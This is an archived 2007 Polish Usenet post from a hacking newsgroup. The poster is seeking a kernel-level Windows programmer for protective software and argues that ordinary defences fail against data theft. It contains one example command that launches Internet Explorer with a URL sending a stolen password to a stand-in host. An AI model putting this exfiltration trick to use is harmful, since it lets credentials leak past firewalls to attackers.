🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: alt.pl.comp.os.hacking
Article #172149

Re: [OT] poszukiwany niskopoziomowy programista (windows)

#172149
From: fijak
Date: Tue, 13 Mar 2007 23:46
46 lines
3169 bytes
>> Tworzymy oprogramowanie, które ma na celu chronić system Windows przed 
>> różnego rodzaju atakami, jednakże w sposób zupełnie odmienny niż 
>> wszystkie dotychczasowe programy tego typu.
> 
> Rozwin.
> 
> [..]
> 

hmmm idee?
nie chce sie szeroko rozpisywac, ale po prostu wszelkie zabezpieczenia 
nie daja pewnosci (nic nie daje pewnosci) ani nawet spokojnego snu, 
jesli ma do czynienia z waznymi danymi. mnie interesuje aspekt 
wykradniecia danych z pctow (koncowek, ale nie same dokumenty a np 
zapamietane hasla, keyloggery) lub uzycie ich do np atakow na ciekawszse 
kompy (eg serwery). uzywanie antywirusa, firewalla, aktyalizacji 
automat, nawet niskie prawa zalogowanego usera w niektorych sytuacjach 
niewiele daja. Zawsze istnieje mozliwosc jakigos wejscia do systemu, 
sieci itp. (eg glupota ludzi), luki 0 day, luki w oprgramowaniu nie ms 
itd. jesli wiec istnieje mozliwosc dostania sie do srodka i pzygotujemy 
  kod tylko dla atakowanej organizacji to zaden antywir nas nie wykryje 
(prosze sie nie czarowac hereutystyka), istnieja bardzo proste sposoby 
"wyjscia" przy powlaczanych wszelkich rodzajach firewalli i innych 
podobnych rzeczy (eg odpalenie przegladaki inetowej mniej wiecej tak: 
"c:\..\iexplore.exe" 
"http://www.sometning.com?yourpasswordis=your_stolen_password"
opisalem ze jest mozliwe wejscie i wyjscie, jesli chodzi o zdobycie 
informacji nijak pcet nie jest chroniony - po prostu nie ma takiego 
oprogramowania (procz mojego :) )
Aha jeszcze dosc ciekawe zagadnienie rootkity (prosze ew poczytac o 
naszej rodaczce Rutkowskiej) - przy zalozeniu ze mamy do czynienia z 
userem z prawami admina i udalo sie wejsc to mozna sie tak ukryc ze nie 
bedzie nas w stanie nic odnalezc.
Moj soft rozwiazuje powyzsze problemy (nawet przy userze z prawami 
admina) i nie posiada sygnatir znanych szkodnikow - a reguly kto co moze 
robic
To dziala! i nie obciaza nadto systemu. Problem moj polega na tym ze 
uzywam hookowania usermode ktore jest do obejscia (jezeli jakis szkodnik 
chcialby wywroci moj soft chroniacy) przydalo by mi sie grzebnie w 
ringu0 no ale to juz jest nieco skomplikowane i nie mam czasu na 
wglabianie w to totez szukam ludzi do tego.

Mam nadzieje ze w miare zostalem jako-tako zrozumiany

ps ciekawy sign
Technical Details
Message-ID: <et7d4j$fk7$1@news.onet.pl>
Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!newsfeed.gazeta.pl!news.onet.pl!not-for-mail
References: <et6kap$q01$3@news.onet.pl> <1odjc4-omq1.ln1@traszkan.ds7>

Show Full Headers
Complete Article Headers
Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!newsfeed.gazeta.pl!news.onet.pl!not-for-mail
From: fijak <fijak@poczta.onet.pl>
Newsgroups: alt.pl.comp.os.hacking
Subject: Re: [OT] poszukiwany niskopoziomowy programista (windows)
Date: Wed, 14 Mar 2007 00:46:27 +0100
Organization: Onet.pl
Lines: 46
Message-ID: <et7d4j$fk7$1@news.onet.pl>
References: <et6kap$q01$3@news.onet.pl> <1odjc4-omq1.ln1@traszkan.ds7>
NNTP-Posting-Host: nat-n48-088.tsi.tychy.pl
Mime-Version: 1.0
X-Trace: news.onet.pl 1173829587 16007 83.142.122.88 (13 Mar 2007 23:46:27 GMT)
X-Complaints-To: usenet@news.onet.pl
NNTP-Posting-Date: Tue, 13 Mar 2007 23:46:27 +0000 (UTC)
X-Sender: rbVUpo+3+bcil9i83XQJLJEd6cTx0k4g
In-Reply-To: <1odjc4-omq1.ln1@traszkan.ds7>
User-Agent: Thunderbird 1.5 (Windows/20051201)
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit